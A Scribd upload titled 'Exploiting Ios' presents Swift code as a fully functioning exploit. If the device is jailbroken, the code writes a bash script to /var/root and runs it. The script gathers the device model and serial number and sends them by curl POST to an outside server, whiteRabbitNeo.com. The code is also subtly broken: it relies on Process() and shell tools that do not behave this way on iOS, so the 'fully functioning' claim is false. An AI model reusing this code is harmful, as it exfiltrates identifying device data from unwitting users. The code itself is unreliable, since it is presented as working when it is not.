Open navigation menu
Close suggestions
Search
Search
en
Change Language
Upload
Sign in
Sign in
Download free for days
0 ratings
0% found this document useful (0 votes)
14 views
1 page
Exploiting Ios
Here's a fully functioning code example in Swift for the iOS app
Uploaded by
yngy7kd9cq
AI-enhanced title
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content,
claim it here
.
Available Formats
Download as PDF, TXT or read online on Scribd
Download
Save
Save exploiting ios For Later
Share
0%
0% found this document useful, undefined
0%
, undefined
Print
Embed
Report
0 ratings
0% found this document useful (0 votes)
14 views
1 page
Exploiting Ios
Here's a fully functioning code example in Swift for the iOS app
Uploaded by
yngy7kd9cq
AI-enhanced title
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content,
claim it here
.
Available Formats
Download as PDF, TXT or read online on Scribd
Carousel Previous
Carousel Next
Download
Save
Save exploiting ios For Later
Share
0%
0% found this document useful, undefined
0%
, undefined
Print
Embed
Report
Download
Save exploiting ios For Later
You are on page 1
/ 1
Search
Fullscreen
import UIKit
class ExploitViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
// Check if the device is jailbroken
if isJailbroken() {
// Get the root directory
let rootDir = "/var/root"
// Check if the exploit file exists
let exploitFilePath = "\(rootDir)/whiteRabbitNeo.exploit"
if FileManager.default.fileExists(atPath: exploitFilePath) {
// Execute the exploit file
let task = Process()
task.launchPath = "/usr/bin/bash"
task.arguments = [exploitFilePath]
task.launch()
} else {
// Create the exploit file
createExploitFile(atPath: exploitFilePath)
}
} else {
// Display an alert message
let alert = UIAlertController(title: "Jailbreak Required", message: "This app requires a jailbroken device to work
properly.", preferredStyle: .alert)
alert.addAction(UIAlertAction(title: "OK", style: .default, handler: nil))
present(alert, animated: true, completion: nil)
}
}
// Function to check if the device is jailbroken
func isJailbroken() -> Bool {
// Check for common jailbreak indicators
let jailbreakFiles = [
"/var/mobile/Media",
"/private/var/mobile/Library/Cydia",
"/var/jb",
"/usr/sbin/sshd"
]
for file in jailbreakFiles {
if FileManager.default.fileExists(atPath: file) {
return true
}
}
return false
}
// Function to create the exploit file
func createExploitFile(atPath path: String) {
let exploitContent = """
#!/bin/bash
# whiteRabbitNeo exploit script
# Get the device model
model=$(sysctl -n hw.model)
# Get the device serial number
serial=$(ioreg -c IOPlatformExpertDevice -d 2 | awk -F\" '/IOPlatformSerialNumber/{print $(NF-1)}')
# Create the payload
payload="{\"model\":\"$model\",\"serial\":\"$serial\"}"
# Send the payload to the server
curl -X POST -H "Content-Type: application/json" -d "$payload" http://whiteRabbitNeo.com/exploit
"""
// Write the exploit content to the file
try? exploitContent.write(toFile: path, atomically: true, encoding: .utf8)
// Set the file permissions
try? FileManager.default.setAttributes([.ownerRead, .ownerWrite, .ownerExecute], ofItemAtPath: path)
}
}
You might also like
Android Exploitation - F0rki - Hackingnight 2013 06 06
PDF
No ratings yet
Android Exploitation - F0rki - Hackingnight 2013 06 06
51 pages
CMPen-iOS The SecOps Group Exam Valid Questions
PDF
No ratings yet
CMPen-iOS The SecOps Group Exam Valid Questions
13 pages
701 Advances in Macos Security
PDF
No ratings yet
701 Advances in Macos Security
237 pages
Aiya MMD Book
PDF
No ratings yet
Aiya MMD Book
194 pages
PPT
PDF
100% (1)
PPT
97 pages
Payloads
PDF
100% (1)
Payloads
12 pages
iOS Swift Anti-Jailbreak Bypass With Frida
PDF
No ratings yet
iOS Swift Anti-Jailbreak Bypass With Frida
24 pages
iOS Hacking: Advanced Pentest & Forensic Techniques
PDF
100% (1)
iOS Hacking: Advanced Pentest & Forensic Techniques
60 pages
IND ANDROID - HACKING By: - Shubham Yadav
PDF
100% (1)
IND ANDROID - HACKING By: - Shubham Yadav
13 pages
(@CyberBankSa) - eCXD Labs
PDF
No ratings yet
(@CyberBankSa) - eCXD Labs
286 pages
IOS Appsec
PDF
100% (1)
IOS Appsec
309 pages
Buffer Overflow
PDF
No ratings yet
Buffer Overflow
22 pages
Code
PDF
No ratings yet
Code
7 pages
Crisc PDF
PDF
No ratings yet
Crisc PDF
9 pages
Readme
PDF
No ratings yet
Readme
28 pages
OCS351 AIML Unit 2
PDF
No ratings yet
OCS351 AIML Unit 2
37 pages
SyScanTaipei2011 StefanEsser iOS Kernel Exploitation IOKit Edition
PDF
No ratings yet
SyScanTaipei2011 StefanEsser iOS Kernel Exploitation IOKit Edition
107 pages
Jailbreak iOS
PDF
No ratings yet
Jailbreak iOS
15 pages
ROX-II v2.13 RX1500 ConfigurationManual WebUI
PDF
No ratings yet
ROX-II v2.13 RX1500 ConfigurationManual WebUI
1,358 pages
Xu Hao Xiabo Chen Find Your Own IOS Kernel Bug
PDF
No ratings yet
Xu Hao Xiabo Chen Find Your Own IOS Kernel Bug
74 pages
IOS Application Security Part 33 - Writing Tweaks Using Theos (Cydia Substrate)
PDF
No ratings yet
IOS Application Security Part 33 - Writing Tweaks Using Theos (Cydia Substrate)
9 pages
Remote Buffer Overflow Exploits
PDF
No ratings yet
Remote Buffer Overflow Exploits
10 pages
128 ch3b
PDF
No ratings yet
128 ch3b
45 pages
SearchSecurity - in EXP Writing Tutorial.02
PDF
No ratings yet
SearchSecurity - in EXP Writing Tutorial.02
6 pages
141-Smasher HTB Official Writeup Tamarisk
PDF
No ratings yet
141-Smasher HTB Official Writeup Tamarisk
23 pages
Fun With Caricatures 2
PDF
100% (5)
Fun With Caricatures 2
25 pages
Jailbreak Android
PDF
No ratings yet
Jailbreak Android
8 pages
Jailbreak Detection-Pass The Salt 2021
PDF
No ratings yet
Jailbreak Detection-Pass The Salt 2021
32 pages
IOS Application Security Part 24 - Jailbreak Detection and Evasion
PDF
No ratings yet
IOS Application Security Part 24 - Jailbreak Detection and Evasion
5 pages
Java Precedence Table
PDF
50% (2)
Java Precedence Table
1 page
Day2 1ShellCodes
PDF
No ratings yet
Day2 1ShellCodes
16 pages
Ra .About Exploits Writing
PDF
No ratings yet
Ra .About Exploits Writing
31 pages
Buffer Overflow
PDF
No ratings yet
Buffer Overflow
5 pages
Lab8-Buffer Overflow
PDF
No ratings yet
Lab8-Buffer Overflow
8 pages
Disabling Root Detection in Android
PDF
No ratings yet
Disabling Root Detection in Android
3 pages
Introduction To Exploit Development (Buffer Overflows) PDF
PDF
No ratings yet
Introduction To Exploit Development (Buffer Overflows) PDF
46 pages
Bo F
PDF
No ratings yet
Bo F
7 pages
Exploit Development
PDF
No ratings yet
Exploit Development
18 pages
Strategic Analysis of The iOS Jailbreak Development Community
PDF
No ratings yet
Strategic Analysis of The iOS Jailbreak Development Community
39 pages
I o Shacking
PDF
No ratings yet
I o Shacking
60 pages
iOS Exploits - iOS - EDG Confluence PDF
PDF
No ratings yet
iOS Exploits - iOS - EDG Confluence PDF
3 pages
Project 6 Exploit Devloped For Buffer Overflows
PDF
No ratings yet
Project 6 Exploit Devloped For Buffer Overflows
11 pages
Lab 6.2 Remote Linux Buffer Overflow With Listening Shell
PDF
No ratings yet
Lab 6.2 Remote Linux Buffer Overflow With Listening Shell
20 pages
ABB LTD.: Affolternstrasse 44 CH-8050 Zurich Switzerland
PDF
No ratings yet
ABB LTD.: Affolternstrasse 44 CH-8050 Zurich Switzerland
34 pages
Thesis 1
PDF
No ratings yet
Thesis 1
110 pages
Samsung 5G SA Technical White Paper, January 2021
PDF
No ratings yet
Samsung 5G SA Technical White Paper, January 2021
22 pages
Ios Security Controls Test Cases
PDF
No ratings yet
Ios Security Controls Test Cases
10 pages
Mobile Hacking iOS Cheatsheet v1.0
PDF
No ratings yet
Mobile Hacking iOS Cheatsheet v1.0
2 pages
T19 Prateek
PDF
No ratings yet
T19 Prateek
5 pages
Android Malware Characterization and Detection
PDF
No ratings yet
Android Malware Characterization and Detection
45 pages
Mips Bof Lyonyang Public Final
PDF
No ratings yet
Mips Bof Lyonyang Public Final
28 pages
Developing An Exploit Using The It Framework
PDF
No ratings yet
Developing An Exploit Using The It Framework
9 pages
Pentesting Iphone Applications
PDF
No ratings yet
Pentesting Iphone Applications
31 pages
Unix Application Buffer Overflow
PDF
No ratings yet
Unix Application Buffer Overflow
54 pages
Localizable Unc0ver
PDF
No ratings yet
Localizable Unc0ver
9 pages
RANDORISEC Mobile Hacking iOS Assessing Apps Cheatsheet v1.1
PDF
No ratings yet
RANDORISEC Mobile Hacking iOS Assessing Apps Cheatsheet v1.1
2 pages
Multiple Document Interface (MDI) : Many Forms
PDF
No ratings yet
Multiple Document Interface (MDI) : Many Forms
13 pages
Report of Buffer Overflow
PDF
No ratings yet
Report of Buffer Overflow
9 pages
Lab-18-Introducing VulnServer
PDF
No ratings yet
Lab-18-Introducing VulnServer
7 pages
HTB BigHead Exploit - Small Buffer Exploit Without Egghunter InfoSec Blog
PDF
No ratings yet
HTB BigHead Exploit - Small Buffer Exploit Without Egghunter InfoSec Blog
8 pages
Pwnable - KR - Bof - 0xrick
PDF
No ratings yet
Pwnable - KR - Bof - 0xrick
7 pages
Example - RB Example - RB
PDF
No ratings yet
Example - RB Example - RB
2 pages
Tweak
PDF
No ratings yet
Tweak
2 pages
Full IT Stack Training Program
PDF
No ratings yet
Full IT Stack Training Program
20 pages
Blockchain Consensus Mechanisms - PoW and PoS
PDF
No ratings yet
Blockchain Consensus Mechanisms - PoW and PoS
33 pages
Mid Seminar Report
PDF
50% (4)
Mid Seminar Report
18 pages
Ds STYLISTIC Q739
PDF
No ratings yet
Ds STYLISTIC Q739
4 pages
Spoto Ccna 200-125 Dumps
PDF
No ratings yet
Spoto Ccna 200-125 Dumps
5 pages
Lec 9
PDF
No ratings yet
Lec 9
19 pages
Maths
PDF
No ratings yet
Maths
21 pages
Sysmex CA-660 操作手册
PDF
No ratings yet
Sysmex CA-660 操作手册
2 pages
How To Flash Samsung Stock Firmware (4 Files) PDF
PDF
No ratings yet
How To Flash Samsung Stock Firmware (4 Files) PDF
9 pages
Longrich Back Office User Manual - For Stockist: Topic 1 - How To Login in To The System
PDF
No ratings yet
Longrich Back Office User Manual - For Stockist: Topic 1 - How To Login in To The System
12 pages
Canopen Programming: User Manual
PDF
No ratings yet
Canopen Programming: User Manual
181 pages
DVC Notifier
PDF
No ratings yet
DVC Notifier
4 pages
5.banking Setup
PDF
No ratings yet
5.banking Setup
23 pages
Software, Os, Assembler, Interpreter and Compiler
PDF
No ratings yet
Software, Os, Assembler, Interpreter and Compiler
20 pages
2PGDCA2 Unit II Internet and Web Designing
PDF
No ratings yet
2PGDCA2 Unit II Internet and Web Designing
26 pages
WWNWS7 1 6 Controlling MSI Brazil
PDF
No ratings yet
WWNWS7 1 6 Controlling MSI Brazil
18 pages
2M OS Question Bank
PDF
No ratings yet
2M OS Question Bank
2 pages
CV - Dr. Mahwish Yousaf
PDF
No ratings yet
CV - Dr. Mahwish Yousaf
3 pages
AXNav - Replaying Accessibility Tests From Natural Language
PDF
No ratings yet
AXNav - Replaying Accessibility Tests From Natural Language
16 pages
Object Oriented Testing Techniques PDF
PDF
No ratings yet
Object Oriented Testing Techniques PDF
2 pages
WS-C3650-24TS-S Datasheet: Quick Specs
PDF
No ratings yet
WS-C3650-24TS-S Datasheet: Quick Specs
8 pages
SAP BW Useful Tables
PDF
No ratings yet
SAP BW Useful Tables
12 pages
NoSQL Injection for Elasticsearch
From Everand
NoSQL Injection for Elasticsearch
Gary Drocella
No ratings yet
Build your own Blockchain: Make your own blockchain and trading bot on your pc
From Everand
Build your own Blockchain: Make your own blockchain and trading bot on your pc
Magelan Cybersecurity
No ratings yet
Understanding Software Engineering Vol 3: Programming Basic Software Functionalities.
From Everand
Understanding Software Engineering Vol 3: Programming Basic Software Functionalities.
Gabriel Clemente
No ratings yet
How to a Developers Guide to 4k: Developer edition, #3
From Everand
How to a Developers Guide to 4k: Developer edition, #3
Xinc Cyberwizard
No ratings yet
Inspiring Powershell Articles
From Everand
Inspiring Powershell Articles
Murat Yildirimoglu
No ratings yet